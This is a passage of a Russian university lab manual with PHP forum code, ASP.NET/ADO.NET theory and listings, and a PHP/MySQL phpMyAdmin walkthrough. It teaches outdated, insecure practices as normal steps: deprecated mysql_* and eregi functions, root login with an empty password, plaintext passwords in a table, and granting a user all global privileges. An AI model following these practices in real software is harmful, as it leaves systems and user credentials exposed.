2 <head><title>Новое сообщение</title></head> 

3 <body> 

4 <?php 

5 if( !isset($_POST['topicNum']) || !is_numeric($_POST['topicNum']) ) 

6 {?><h1>Ошибка</h1><span style="color:red">Ваше сообщение не было 

7 добавлено.</span> 

8 <h2>Причина</h2>Не выбрана тема сообщения.<br /><br /> 

9 Остаётся только вернуться <a href="look.php">на главную</a> страницу. 

10 <?php 

11 } 

12 else if( !isset($_POST['mes']) || empty($_POST['mes']) ) 

13 {?><h1>Ошибка</h1><span style="color:red">Ваше сообщение не добавлено. 

14 </span> 

15 <h2>Причина</h2>Текст сообщения не может быть пустым.<br /><br /> 

16 Вы можете вернуться <a href="look.php?topicNum=<?php 

17 echo $_POST['topicNum']?>">к теме</a> 

18 и попробовать ещё раз.<?php 

19 } 

20 else if(!empty($_POST['mail']) && 

21 !eregi("[\._a-zA-Z0-9-]+@[\.a-zA-Z0-9-]+\.[a-z]{2,6}",$_POST['mail'], 

22 $regs)) 

23 {?><h1>Ошибка</h1><span style="color:red">Ваше сообщение не добавлено. 

24 </span> 

25 <h2>Причина</h2> 

26 Доставка электронных сообщений на указанный вами адрес &lt;<?php echo 

27 htmlspecialchars($_POST['mail']) ?>&gt; 

28 не представляется возможной.<br /><br /> 

29 Вы можете вернуться <a href="look.php?topicNum=<?php 

30 echo $_POST['topicNum']?>">к теме</a> 

31 и попробовать ещё раз.<?php 

32 } 

33 else 

34 { 

35 $who = empty($_POST['nam']) ? "<некто>" : $_POST['nam']; 

36 $when = date("F j, Y, g:i a"); 

37 $email = empty($_POST['mail']) ? "<без почты>" : $regs[0]; 

38 $message = $_POST['mes']; 

39 $topicNum = intval($_POST['topicNum']); 

40 $f = fopen("m$topicNum.txt","a"); 

41 $posted = str_replace("\n","",nl2br(htmlspecialchars( 

42 "$who <$email> $when пишет:\n$message"))); 

43 fwrite($f,$posted."\n"); 

44 fclose($f); 

45 ?> 

46 <h1>Отправлено</h1> 

47 <?php echo $posted ?><br /><br /> 

48 Вы можете сейчас вернуться <a href="look.php?topicNum=<?php 



 

49 echo $_POST['topicNum'] ?>">на главную</a> 

50 страницу форума - и просмотреть добавленное сообщение в контексте 

51 обсуждения. 

52 <?php 

53 } 

54 ?> 

55 </body> 

56 </html> 

 

Приведённый сценарий дописывает новое сообщение в файл mN.txt  (строка 40), 

где N обозначает номер выбранной темы. Непосредственно добавление сообщения 

происходит в строке 43. Предварительно добавляемое сообщение форматируется 

(строка 41) – при этом специальные символы HTML заменяются их «безопасными» 

обозначениями (функция htmlspecialchars), переводы строк заменяются тегом <br/> 

(функция nl2br).  

В случае, если не указано имя пользователя или адрес его электронной почты, 

соответствующим переменным присваиваются значения по умолчанию (<некто> и <без 

почты> соответственно). Данный сценарий осуществляет предварительный контроль 

параметров операции. В строке 5 проверяется, что для добавляемого сообщения указан 

номер темы, в 12-й строке – что сообщение задано и непусто, в 20-й строке – при 

указании адреса электронной почты –  

 

проверяется его соответствие формату адресов электронной почты 

(соответствующее регулярное выражение имеет вид: "[\._a-zA-Z0-9-]+@[\.a-zA-Z0-9-

]+\.[a-z]{2,6}"). 

 В случае, если переданные данные не проходят хотя бы одну из проверок – 

выдаётся сообщение о невозможности добавления сообщения – с объяснением причин. 

Также при возникновении ошибки выводится ссылка, позволяющая вернуться к 

предыдущей странице.  

Факт успешного добавления сообщения подтверждается информационным 

сообщением, формируемым в строках 46-51 – при этом выводится ссылка, позволяющая 

продолжить просмотр сообщений выбранной темы. 

 

2.4. Вопросы к защите лабораторной работы 

 

Что понимается под форумом? 

Поясните  алгоритм формирования значения переменной $size. 

Как выполняется проверка  вводимой  пользователем информации? 

4) Поясните назначение файла add1.php. 

5) Поясните механизм изменения и дополнения уже существующего класса. 

6) Перечислите базовые функции PHP и их синтаксис. 

7)Поясните синтаксическое построение $this->act. 

7) Назначение функции htmlspecialchars(). 

8) Какая функция создает из строки массив по заданному разделителю? Поясните 

ее синтаксис.  

9) Как выполняется проверка корректности адресов электронной почты, 

вводимых пользователями? 

10) Какие механизмы регулярных выражений использовались в сценариях данной 

лабораторной работы? 

11) Перечислите основные элементы системы формирования заказов через 

Интернет. 



 

12) Поясните основные алгоритмы, заложенные в программу системы заказов 

через Интернет. 

13) Поясните алгоритм идентификации сервером каждого посетителя.   
 

 

2. Лабораторная работа «Обработка данных на форме» 

 

3.1. Цель лабораторной работы 

Получить основные навыки работы  с базами данных в среде ASP.NET 

Задание на выполнение лабораторной работы  

Ознакомиться с процессом компиляции в среде .NET Framework. 

Ознакомиться с  работой с базами данных ADO.NET. 

Разработать и отладить страницы для чтения данных из файла MDB. 

Создать серверные элементы управления и выполнить демонстрацию 

динамического изменения их свойств 

 

3.3.  Основные теоретические сведения 

3.3.1.  .NET Framework 

Слова .NET и ASP.NET происходят от названия .NET Framework ("общая 

структура .NET") — набор объектов и планов (Blueprints), созданный компанией 

Microsoft для разработки приложений. ASP.NET работает благодаря .NET Framework. 

У всех приложений, разработанных в .NET Framework, и в том числе у 

приложений ASP.NET, есть некоторые общие возможности, обеспечивающие им 

совместимость, безопасность и стабильность. Далее  рассмотрены эти возможности. 

 

3.3.2. Common Language Runtime 

Common Language Runtime (CLR) означает "среда выполнения общего языка", 

среда, которая управляет выполнением кода. Другими словами, в ней запускается и 

поддерживается любой написанный вами код. 

Традиционно при создании приложений пишется код на одном из языков 

программирования (таком, например, как Visual Basic), компилируете его в формат, 

понятный для компьютера (в единицы и нули), а затем отправляете откомпилированный 

код на выполнение. Обратите внимание, что компьютеры разных типов (например, PC и 

Macintosh) "говорят" на разных языках. Это значит, что для использования приложения 

на компьютере другого типа приложение необходимо перекомпилировать на язык этого 

компьютера. Но на .NET Framework дело обстоит несколько по-другому. 

Конечно, при использовании .NET Framework и CLR все равно приходится писать 

код и заниматься его компиляцией. Однако вместо того чтобы компилировать его в то, 

что понимает компьютер, вы компилируете его в код языка, который называется 

Microsoft Intermediate Language (MS1L) (это название означает "промежуточный язык от 

Microsoft"). Такой язык является удобным средством представлять весь написанный 

вами код. Страницы ASP.NET также компилируются в код MSIL. При компиляции в 

этот код приложение создает так называемые метаданные. Они являются информацией, 

которая описывает само приложение. Метаданные рассказывают, что оно может делать, 

кому принадлежит и так далее. 

Вместе с MSIL и метаданными появился новый класс языков программирования: 

С#, Cobol, Perl и так далее. Эти языки похожи на те, что были до них, но их выводом 

может быть код, такой как MSIL или обычный компилированный. 



 

Затем, когда нужно выполнять программу, за дело берется Common Language 

Runtime (CLR) и заново компилирует код — на этот раз на родной язык компьютера. 

Таким образом код MSIL может выполняться на компьютере любого типа. CLR говорит 

на языках многих компьютеров и делает за вас всю компиляцию на эти языки. Так что, 

откомпилировав свое приложение одни раз, вы можете передавать его на любой другой 

компьютер. На Рисунок 3.1 показано отличие  между традиционным процессом 

компиляции и тем, что выполняется в .NET Framework.. 

 

 

 

 

 

 а) Традиционный метод 

 

 

 

 

 

 

 

б) В среде .NET Framework 

 

Рисунок 1. Сравнительная cхема компиляции 

 

Используя метаданные, CLR ищет, каким образом следует запускать приложение. 

Благодаря этому установка программ становится очень легкой. Дело в том, что при 

традиционной установке информацию о приложении необходимо помещать в 

системный реестр или в центральное хранилище данных о приложениях. К сожалению, 

системный реестр можно вывести из строя любым изменением в приложении 

(перемещением его каталога, установкой нового компонента и так далее), и тогда 

приложение может и не работать так, как положено. Благодаря метаданным системный 

реестр становится ненужным. Вся необходимая информация хранится вместе с файлами 

приложения, так что все сделанные  изменения вступают в силу автоматически 

Код, который работает вместе с CLR, называется управляемым кодом. Такое 

название объясняется тем, что CLR управляет выполнением этого кода и дает 

определенные преимущества (такие, например, как управление ресурсами), и при этом 

разработчику не нужно делать ручную настройку. В свою очередь, код, который 

выполняется вне CLR, называется неуправляемым. 

Кроме того,  CLR  может выполнять обработку ошибок, поддерживать 

безопасность, поддерживать согласованность версий (versioning) и развертывание 

приложений, а также интеграцию с различными платформами. А это означает, что для 

написания приложений .NET (и в том числе приложений ASP.NET) можно выбрать 

любой язык программирования. 

 

3.3.3.  Классы .NET Framework 

.NET Framework всегда держит при себе планы (Blueprints), то есть описания 

объектов. В свою очередь, объектами считается все, что находится в .NET Framework: 

страницы ASP.NET, окна сообщений и так далее. Такие объекты размещаются внутри 

логических групп, которые называются пространствами имен (namespace). Например, 

все объекты, относящиеся к базам данных, можно расположить в пространстве имен 

System.Data (‘Система.Данные’), а все объекты XML — в System.Xml (‘Система.XML’) 

Код Приложение 

Компиляция в 

машинный код 

КОД 
MSIL с 

метаданным

и 

Компиляция 
 

CLR 

Приложение 

Компиляция в 

машинный код 



 

и так далее. Такое объединение в группы очень полезно при создании библиотек 

объектов. Пространства имен используются при создании приложений ASP.NET. 

Каждое пространство имен из структуры .NET — это, в сущности, коллекция 

схем. ASP.NET поставляется вместе с собственными схемами, но иногда этого набора 

бывает недостаточно. Поэтому, чтобы создавать дополнительные типы объектов, 

приходится обращаться из ASP.NET к другим наборам. Получить доступ к этим 

дополнительным объектам и методам можно с помощью ключевого слова Import 

(импорт): 

<%@ Import Namespace="System.Drawing" %> 

Эта строка задает импорт всех классов из пространства имен System.Drawing 

(означает "Система.Чертеж"), например, font (шрифт) или image (изображение). Теперь 

при создании своих объектов можно использовать эти схемы. 

 

3.3.4. Web-формы 

Формы Web очень похожи на традиционные формы HTML. Разница между ними 

в том, что первые — это серверное средство, что означает возможность создания 

пользовательских элементов на сервере. В этом случае сервер полностью осведомлен о 

том, как выглядит интерфейс, какие функции он выполняет, какие данные следует 

ожидать и т.п. 

На сервере создаются объекты, называемые серверными элементами управления, 

которые представляют собой части интерфейса пользователя. В отличие от элементов 

формы HTML, эти объекты полностью контролируемы - они имеют свойства, события и 

методы, которыми можно манипулировать. Как только клиент запрашивает страницу, 

ASP.NET преобразовывает эти средства управления в HTML, который совершенно 

точно отображается в браузере (Рисунок 3.2).  Используя Web-формы, сервер знает о 

внешнем виде и функциях каждой конкретной формы 

 

 

 

 

 

 

 

 

 

 

 

Рисунок  2 

 

Посредством клиентского сценария, автоматически генерируемого ASP.NET, эти 

элементы управления предупреждают сервер всякий раз, когда что-либо происходит, 

например, нажатие на кнопку. Клиентский сценарий отсылает информацию на сервер в 

момент возникновения события, часто не сообщая об этом пользователю. Таким 

образом, сервер непрерывно уведомляется о клиентских процессах, что объединяет их 

друг с другом в одно целое. 

На практике это выглядит, как управляемая событиями модель.  

Поскольку сервер сам создает элементы управления, он также может запомнить, 

что вводилось в каждый элемент.  

 

3.3.5. Серверные элементы управления 
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Серверные элементы управления являются составляющими пользовательского 

интерфейса Web-формы. В ASP.NET выделяется четыре типа серверных элементов 

управления:  

серверные элементы управления HTML, 

 элементы Web,  

средства подтверждения,  

пользовательские элементы.  

Элементы управления HTML представляют собой обычные элементы формы 

HTML, такие как текстовые поля ввода и кнопки, но создаются они на сервере, где ими 

можно управлять.  

Аналогичны им элементы Web, но они более функциональны и могут 

формировать сложный пользовательский интерфейс.  

Средства подтверждения используются для проверки правильности 

пользовательского ввода данных.  

Пользовательские элементы специально предназначены для реализации 

некоторой особой функциональности. 

Все элементы управления, размещенные на сервере, имеют свойства, методы и 

события. Они намного функциональнее, чем традиционные элементы формы HTML, и 

существенно упрощают процесс формирования пользовательского интерфейса. 

При создании серверного элемента не нужно заботиться о написании кода HTML. 

При поступлении запроса на страницу элемент управления автоматически генерирует 

HTML, корректно отображаемый в браузере. Например, следующая строка создает 

сервере элемент управления Button: 

<asp:Button text="Submit" runat="server"/> 

В момент ответа на запрос клиенту выдается такой код HTML: 

<input type="Submit" name="ctrll" value="Submit"> 

Эти две строки лишь похожи друг на друга. Первая выполняется только на 

сервере — клиент никогда не получит ее. (Даже если бы и получил, то не знал бы, что 

ней делать — браузер понимает только код HTML.) Вторая строка — это то, что 

принимает клиент.  

Также ASP.NET знает о возможностях каждого браузера и, следовательно, 

отсылает соответствующий код каждому из них. Например, если браузер и 

поддерживает динамический HTML (DHTML), то ASP.NET не будет отправлять ему 

такой код. Этот подход называется низкоуровневой поддержкой связи с тем, что 

ASP.NET может сглаживать вывод кода HTML для браузеров, которые не 

поддерживают современный уровень функциональности. 

В идеале, низкоуровневая поддержка должна отображать корректно i-й элемент 

управления. Однако некоторые элементы будут отображаться неодинаково в различных 

браузерах, что связано с неидентичной трактовкой ими кода HTML. Тем не менее, при 

разработке под наиболее популярные версии браузеров низкоуровневая поддержка 

будет работать верно. 

 

3.3.6. Работа с базами данных. ADO.NET 

ADО.NET — новый этап в технологии ActiveX Data Objects (ADO), это модель 

доступа к данным, созданная специально для использования в Web. ADO.NET создает 

интерфейс ко всем совместимым с OLEDB источникам данных и обеспечивает 

соединение, извлечение, управление и обновление данных. ADO.NET можно применять 

на удаленном компьютере, в распределенном приложении и в случае распределенных 

данных. 

ADO.NET создает структуру для доступа к любым типам данных в страницах, 

благодаря чему пользователи могут видеть или изменять информацию, которая 



 

содержится в любом типе данных, включая базы, текстовые файлы и наборы данных 

XML. 

ADO.NET — это версия программного интерфейса ADO, приспособленная для 

более эффективного представления данных на ASP-страницах. Например, она 

полностью воспринимает язык XML и приспособлена для общения с XML-

приложениями. ADО.NET предлагает много возможностей, которые значительно 

облегчают работу разработчика.  

Cтраницы ASP.NET используют ADO.NET для связи с любым типом данных. 

Модель доступа к данным в ADO.NET и ASP.NETпредставлена на рисунке 3.3. 

Интерфейс ADO.NET полностью совместим с источниками данных, 

поддерживающими объектные технологии OLE для баз данных, как язык SQL или 

механизм баз данных Jet. 

 

3.3.7.  Объект DataSet 

В центре интерфейса ADO.NET находится объект DataSet. Этот объект-

концептуально новая идея, которая заменяет традиционный объект RecordSet в ADO.  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рисунок 3. Модель доступа к данным в ADO.NET и ASP.NET 

 

DataSet — это простой, постоянно находящийся в оперативной памяти способ 

хранения данных, который обеспечивает последовательную программную модель для 

доступа к данным, независимо от их типа. В отличие от RecordSet, DataSet содержит 

иные наборы данных, включая ограничения, связи и даже несколько таблиц 

одноименно.  

Данный объект содержит множество структур. В каждую структуру можно 

поместить несколько элементов. С каждым элементом в структуре можно производить 

различные операции — добавлять, изменять, просматривать и т.д. В этом заключаются 

основные принципы работы с DataSet. 

DataTable – объект, который представляет отдельную таблицу базы данных. 

(DataSet содержит коллекцию таблиц в объекте TablesCollection). Объект DataTable 

полностью отображает соответствующую таблицу, включая связи между данными и 

ключевые ограничения. Он содержит две другие коллекции, Rows и Columns, которые 

отображают данные и логическую структуру таблиц. 

Объект RelationsCollection позволяет двигаться между таблицами согласно 

определенным для них связям. Больше не нужно использовать сложные связи и 

объединения. Фактические связи между таблицами представлены объектами 

Страница ASP.NET 

ADO.NET 

OLE DB 

ODBC SQL Jet Другие 



 

DataRelation, содержащими информацию о двух соединенных таблицах, связи 

первичного и внешнего ключа и названия связей. 

Связи можно также добавить с помощью объекта DataRelation. ADO.NET 

автоматически вводит ключевые ограничения: не разрешается изменение одной 

таблицы, которое может повредить ее связь с другой таблицей. 

Объект ExtendedProperties содержит дополнительную информацию, например, 

имя пользователя и пароль. 

 

3.3.8. Модель объекта ADO.NET 

ADO.NET состоит из двух ключевых частей: набора данных DataSet и средств 

управления Managed Providers. В наборе представлены данные, передаваемые между 

компонентами ADO.NET, а именно из памяти в страницы ASP.NET. Это механизм 

обработки данных вне их хранилища. 

Managed Providers служат в качестве промежуточного звена между набором 

DataSet и памятью и обеспечивают механизм для соединения, доступа, управления и 

извлечения информации из любой совместимой с OLE DB базы данных, например 

Microsoft Access. 

Microsoft поставляет два типа Managed Providers в комплекте ADO.NET: SQL и 

OLE DB. Первый используется исключительно для взаимодействия с Microsoft SQL 

Server и обеспечивает все методы коммуникации между SQL-сервером и набором 

данных. Второй, OLE DB, служит связующим звеном между набором и совместимым с 

OLE DB источником данных.  

Для соединения с SQL-сервером одноименный Managed Provider применяет 

протокол, называемый tabular data stream (табличный поток данных). Это наиболее 

эффективный и не зависящий от OLE DB, ADO или ODBC метод для соединения с SQL-

сервером. Данный протокол управляется CLR. 

OLE DB-провайдер обеспечивает эффективное взаимодействие со всеми другими 

типами данных и, если есть необходимость, применяется для доступа к серверу SQL. 

Каждый провайдер имеет три компонента: 

- интерфейс для соединения и управления базой данных, а также для 

взаимодействия с набором DataSet; 

- поток данных для быстрого и эффективного доступа (похож на набор данных 

DataSet, но быстрее и с меньшим набором функций); 

-  объекты для соединения с базой данных и для исполнения ее специфических 

команд на нижнем уровне. 

3.3.9.  Доступ к данным в cpeдe ASP.NET 

Можно выделить пять основных этапов получения данных, используя ASP.NET 

Web-страницы: 

Установить соединение с базой данных. 

Открыть созданное соединение. 

Заполнить компоненту DataSet требуемыми данными. 

Установить компоненту DataView для отображения данных. 

Связать серверный элемент управления с  компонентой DataView, используя 

привязку данных. 

Перед тем как получить доступ к данным необходимо импортировать два 

пространства имен, содержащие компоненты работы с данными (если используемая база 

данных работает под управлением СУБД Microsoft SQL Server, то используется 

пространство имен System.Data.SQLClient.) 

Затем необходимо организовать соединение с базой данных. Источником данных 

Data Source является созданный ранее файл Access.  



 

Далее происходит открытие соединения с базой данных и исполняется SQL 

команда, которая возвращает необходимые данные из таблицы. Это соответствует 

первому и второму шагам в процессе доступа к данным.  

Затем создается и заполняется возвращаемыми запросом данными объект типа 

DataSet. Это соответствует третьему шагу процесса. 

Потом данные привязываются к элементу управления типа DataList, который 

автоматически отображает данные. 

Далее остается просто создать элемент управления типа DataList. Элемент 

управления типа DataList использует шаблоны для форматирования данных и 

автоматически обрабатывает полученные записи. Он также получает размер окна 

браузера и подстраивает ширину колонок так, чтобы все колонки отображались в одном 

окне.  

Ниже приведен листинг программы для чтения данных из файла MDB. 

 

<%@Import Namespace="System.Data " %> 

<%@Import Namespace="System.Data.OleDb" %> 

<script language="VB" runat="server"> 

  sub Page_Load(obj as Object, e as EventArgs) 

    dim objConn as new OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;Data 

Source=D:\inetpub\wwwroot\Mstuca\Web_Base.mdb") 

    dim objCmd as new OleDbDataAdapter("SELECT * FROM (Humans INNER JOIN 

Posit ON [Humans].[Posit]=[Posit].[Posit_ID]) INNER JOIN Dep ON 

[Humans].[Dep]=[Dep].[Dep_Id] ORDER BY Last_Name, First_Name, 

Middle_Name;",objConn) 

    dim ds as DataSet = new Dataset() 

    objCmd.Fill(ds,"Humans") 

    MyDataList.DataSource=ds.Tables("Humans").DefaultView 

    MyDataList.DataBind() 

  end sub 

</script> 

<html> 

<body> 

<ASP:DataList id="MyDataList" RepeatColumns="1" RepeatDirection="Vertical" 

runat="server"> 

  <ItemTemplate> 

    <br><b>ФИО: </b> 

    <%#DataBinder.Eval(Container.DataItem,"Last_Name")%>&nbsp; 

    <%#DataBinder.Eval(Container.DataItem,"First_Name")%>&nbsp; 

    <%#DataBinder.Eval(Container.DataItem,"Middle_Name")%>&nbsp; 

    <br><b>Телефон: </b> 

     <%#DataBinder.Eval(Container.DataItem,"Office_Phone")%>&nbsp; 

    <br><b>Должность: </b> 

     <%#DataBinder.Eval(Container.DataItem,"Posit_Name")%>&nbsp; 

    <br><b>Отдел: </b>  

     <%#DataBinder.Eval(Container.DataItem,"Dep_Name")%>&nbsp; 

    <br><br> 

  </ItemTemplate> 

</ASP:DataList> 

</body> 

</html> 

 



 

Результат выполнения программы приведен на Рисунок 4  
 

 
   Рисунок 4. Окно с результатами выполнения программы  

Листинг программы для  создания серверных элементов управления и 

демонстрации динамического изменения их свойств приведен ниже. 

 

<%@Import Namespace="System.Web.UI.WebControls " %> 

 

<html> 

  <head> 

    <title>Dynamic Table</title> 

<script language="VB" runat="server"> 

  Sub SubmitButton_Click(Source  As  Object,  e  As  EventArgs) 

 

Table1.Bgcolor = Select1.Value 

    

Table1.Border = Select2.Value 

    

 Table1.Cellpadding = Select3.Value 

      Table1.Cellspacing = Select4.Value 

    

 If Select5.Value = "1" Then 

      Tr1.Bgcolor = Select6.Value 

    Else If Select5.Value = "2" Then 

      Tr2.Bgcolor = Select6.Value 

    Else If Select5.Value = "3" Then 

      Tr3.Bgcolor = Select6.Value 

    End If 

   If radio1.Checked = True Then 

     Labet1.Text=Text1.Value 

   Else If radio2.Checked = True Then 

     Labet1.Text= " "      

   End If  

    End Sub 



 

</script> 

</head> 

   <body> 

<form id="Form1" method="post" runat="server"> 

  <center>   

<h3><asp:Label runat="server" id="Labet1">Table Header</asp:label></h3> 

<br> 

<table runat="server" id="table1" cellspacing=3 cellpadding=3 border=1> 

    <tr runat="server" id="Tr1"> 

      <td>One</td> 

      <td>NO_One</td> 

    </tr> 

    <tr runat="server" id="Tr2"> 

      <td>Two</td> 

      <td>NO_Two</td> 

    </tr> 

    <tr runat="server" id="Tr3"> 

      <td>Three</td> 

      <td>NO_Three</td> 

    </tr> 

  </table> 

<p> 

</center> 

<br> 

<br> 

<br> 

Table Header: 

<Input type="text" runat="server" id="Text1" value="Table Header"></Input> 

<br> 

Table Background Color: 

<select id="Select1" runat="server"> 

  <option value="#ffffff">Белый</option> 

  <option value="#ff0000">Красный</option> 

  <option value="#ffff10">Жёлтый</option> 

</select> 

<br> 

 

Table Border: 

<select id="Select2" runat="server"> 

  <option value="0">0</option> 

  <option value="1">1</option> 

  <option value="2">2</option> 

  <option value="3">3</option> 

  <option value="4">4</option> 

  <option value="5">5</option> 

</select> 

<br> 

Table Cellpadding: 

<select id="Select3" runat="server"> 

  <option value="0">0</option> 

  <option value="1">1</option> 



 

  <option value="2">2</option> 

  <option value="3">3</option> 

  <option value="4">4</option> 

  <option value="5">5</option> 

</select> 

<br> 

Table Cellspacing: 

<select id="Select4" runat="server"> 

  <option value="0">0</option> 

  <option value="1">1</option> 

  <option value="2">2</option> 

  <option value="3">3</option> 

  <option value="4">4</option> 

  <option value="5">5</option> 

</select> 

<br> 

<p> 

Select a Row: 

<select id="Select5" runat="server"> 

  <option>1</option> 

  <option>2</option> 

  <option>3</option> 

</select> 

<br> 

Row Color:  

<select id="Select6" runat="server"> 

  <option>White</option> 

  <option>Yellow</option> 

  <option>Red</option> 

  <option>Blue</option> 

</select> 

<br> 

Show Table Header: 

<input type ="radio" runat="server" id="radio1" name="radio1" checked="true">Yes 

<input type ="radio" runat="server" id="radio2" name="radio1">No 

<br> 

<center> 

<input type="submit" runat="server" id="submit1" 

value="Submit" onserverclick="SubmitButton_Click"> 

</center> 

</form> 

</body> 

</html> 

 

Результат выполнения программы приведен на Рисунок  5 



 

 

 
Рисунок 5. Окно с результатами выполнения программы 

 

Вопросы к защите лабораторной работы 

 

 Что понимается под технологией .NET? 

 Перечислите основные компоненты технологии .NET. 

 Что понимается под пространством имен? 

 Как добавить пространство имен?  

 Поясните синтаксис импортирования пространства имен. 

 Как осуществляется доступ к данным в среде ASP.NET? 

 Чем отличается процесс компиляции в среде .NET Framework? 

 Назовите основные функции Managed Providers. 

 Основное значение объекта DataSet. 

 Какие структуры содержит объект DataSet? 

 Перечислите основные типы серверных элементов управления в ASP.NET. 
 

3. Лабораторная работа «Организация поддержки базы данных в PHP» 

 

Цель работы: научиться создавать базы данных на РНР 

Краткие теоретические сведения 

Большим достоинством РНР является наличие обширного набора встроенных 

функций для конкретных СУБД, в том числе функций для MySQL. 

В Пр40 был создан домен itrem. 

Входим в phpmyadmin 

Он находится по адресу: http://localhost/openserver/phpmyadmin/index.php (так же 

он доступен из контекстного меню OpenServer-а, пункт "Дополнительно>PhpMyAdmin") 



 

 
Для авторизации используем такие данные: 

пользователь/пароль = root / -пустой пароль- 

пользователь/пароль = mysql / mysql 

Можно использовать оба варианта, но я бы рекомендовал второй, а именно 

mysql/mysql. 

е) Создаем базу itrem 

 
ж) Создаем таблицу messages 

 
следующим шагом, указываем какие нам нужны поля (часть столбцов, я 

пропустил там оставляем значения по-умолчанию) 

 
нажимаем Сохранить. 

Если Вам проще будет выполнить SQL код (на вкладке SQL) можете просто его 

скопировать отсюда: 

 

  

# создаем базу 

CREATE DATABASE `itrem`; 



 

  

# переключаем на базу 

USE `itrem`; 

  

# создаем таблицу 

CREATE TABLE IF NOT EXISTS `messages` ( 

  `id` int(11) NOT NULL AUTO_INCREMENT, 

  `message` varchar(255) NOT NULL, 

  `date` date NOT NULL, 

  PRIMARY KEY (`id`) 

) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; 

  

ж) пишем такой код, в файл C:\Progr\OpenServer\domains\itrem\index.php 

Обратите внимание на кодировку файла, она должна быть "UTF-8 без BOM", 

проверить в Notepad++ это можно в верхнем меню, в разделе "Кодировки". 

<?php 

header('Content-Type: text/html; charset=utf-8'); 

  

$db_host = 'localhost'; 

$db_username = 'mysql'; 

$db_password = 'mysql'; 

$db_name = 'itrem'; 

$db_charset = 'utf8'; 

  

$is_connected = @mysql_connect($db_host, $db_username, $db_password); 

$is_db_selected = $is_connected ? @mysql_select_db($db_name) : FALSE; 

  

$errors = array(); 

  

if (!$is_connected) $errors[] = 'Не могу соединиться с базой данных'; 

if (!$is_db_selected) $errors[] = 'Не могу найти базу данных'; 

  

if (!empty($_POST['f_submit']) AND $is_connected AND $is_db_selected) 

{ 

if (empty($_POST['f_text']) OR !trim($_POST['f_text'])) 

{ 

$errors[] = 'Не введен текст сообщения!'; 

} 

else 

{ 

if (mb_strlen(trim($_POST['f_text']), 'utf-8')>255) 

{ 

$errors[] = 'Текст сообщения не может превышать 255 символов!'; 

} 

else 

{ 

$sql = 'INSERT INTO `messages` SET 

`message`="'.mysql_real_escape_string(trim($_POST['f_text'])).'", 

`date`=NOW() 

'; 

  



 

$result = mysql_query($sql) 

  or die('Query error:'.$sql.''); 

  

Header('Location:?'); 

} 

} 

} 

?> 

   

body {font-size:11px; font-family:Arial;} 

.errors {color:red;} 

div.message {;border-;} 

div.message .date {color:blue;} 

div.message .text {color:green;} 

   

Текст сообщения 

<?php 

  

if (!empty($errors)) 

{ 

echo ' 

'; 

foreach ($errors as $err) 

{ 

echo ''.htmlspecialchars($err).''; 

} 

echo ''; 

} 

  

if ($is_connected AND $is_db_selected) 

{ 

  

$sql = 'SELECT * FROM `messages` ORDER BY `id` DESC'; 

$result = mysql_query($sql) 

  or die('Query error:'.$sql.''); 

if ( is_resource($result) ) 

{ 

echo ''; 

while ( $row = mysql_fetch_assoc($result) ) 

{ 

?> 

<?=date('d.m.Y',strtotime($row['date']))?> - 

<?=htmlspecialchars($row['message'])?> 

  

<?php 

} 

} 

} 

  

?> 

  



 

з) проверяем в броузере 

 
Ход работы 

Задание 1. Создать БД в PHP. 

1 Создайте базу данных itrem. 

2 Создайте БД «site_new». 

 
 

2.1 Программа сообщает нам, что «БД site_new была создана». В левом окне мы 

видим название новой базы данных. Тут же нам указывают на тот факт, что «В БД не 

обнаружено таблиц». Все данные в базах данных хранятся в таблицах. Создаем 

таблицу. Назовем таблицу «userlist». В этой таблице будут храниться логины и пароли. 

В верхнем окне формы пишем имя таблицы. В нижнем - количество полей. Их в нашей 

таблице будет 3. Нажимаем кнопку «Пошел». Открывается новое окно: 

 
 

В этом окне мы будем заполнять новую форму. В столбце «Поле» указываем 

названия полей: 1 поле – id (уникальный порядковый номер, которым, данное поле 

будет отличаться от других); 2 поле – user (здесь будут храниться логины); 3 поле – pass 

(поле для паролей). В столбце «Тип» указываем типы наших полей: 1 поле – 

INT(цифровое поле); 2 и 3 поле – VARCHAR (любая информация). В столбце 

«Длины/Значения» указываем, длинны полей: 1 поле – 5; 2 и 3 поле – 10. В столбце 

«Дополнительно» для поля «id» выбираем «auto_increment» и нажимаем на радиокнопку 

в столбце с ключом. Осталось нажать кнопку «Сохранить». Открывается новое окно: 



 

 
 

Таблица создана. Поля, типы и размеры указаны. Закрываем PHPMyAdmin. 

2.2 Заходим в программу PhpMyAdmin. Из выпадающего списка баз данных 

выбираем «site_new». Видим под названием базы значок таблицы с названием - 

«userlist». Жмем на это название. Перед нами таблица, но совершенно пустая. Чтобы 

наполнить ее смыслом и содержанием достаточно нажать «Вставить» в навигации над 

таблицей в правом окне программы. В новом окне перед нами две формы для 

заполнения (в зависимости от версии может появиться и одна форма) Заполняем эти 

формы. 

 
2.3 В этой таблице будут храниться логины и пароли пользователей этой базы и 

этого сайта. Пусть первый пользователь имеет ID = 1; USER = USER_1; PASS = 12345; а 

второй - ID = 2; USER = USER_2; PASS = 67890. Конечно, логины и пароли можно 

выбирать любые. Нажимаем на радиокнопку «Вставить новую запись»; затем, на кнопку 

«Пошел». Наши данные вставлены в таблицу. Просмотреть записи можно, нажав 

кнопку «Обзор» в навигации над таблицей. 

 
Данные в таблице можно редактировать и удалять. Чтобы удалить все данные из 

строки, вместо карандаша нажмите крестик. 

2.4 Когда создали базу данных, необходимо сразу создать пользователя. В левом 

окне программы кликнуть по домику и попадаем в самое начало. В правом окне 

находим: «Привилегии» и нажимаем. В новом окне находим: «Добавить нового 

пользователя» и нажимаем. В открывшемся окне заполняем верхнюю форму. Имя = 

user_1; хост = localhost; пароль = 12345; подтверждение = 12345. В «глобальных 

привилегиях» проставляем галок по всем квадратикам, чтобы наш пользователь не был 

ограничен в правах. 



 

 
 

Нажимаем «Пошел». Пользователь создан, о чем сообщают в новом окне. 

Создавать пользователя нужно для осуществления безопасности БД. 

Возможность соединиться с БД, выполнить запрос/query, напечатать 

результирующие ряды и отсоединиться от БД MySQL. 

Создаем управляющий PHP скрипт. 

 Для начала нам необходимо соединиться с базой данных, введя данные 

созданного нами пользователя и занести получившийся php код в самый верх страницы 

(сразу под тегом ): 

<?php 

$connect = mysql_connect("localhost", "root", "") or die("Невозможно установить 

соединение!".mysql_error()); 

mysql_select_db(site_new,$connect) or die("Невозможно установить связь с 

БД!".mysql_error()); 

//создать запрос 

$sql = "SELECT * FROM userlist"; 

$result = mysql_query($sql) or die(mysql_error()); 

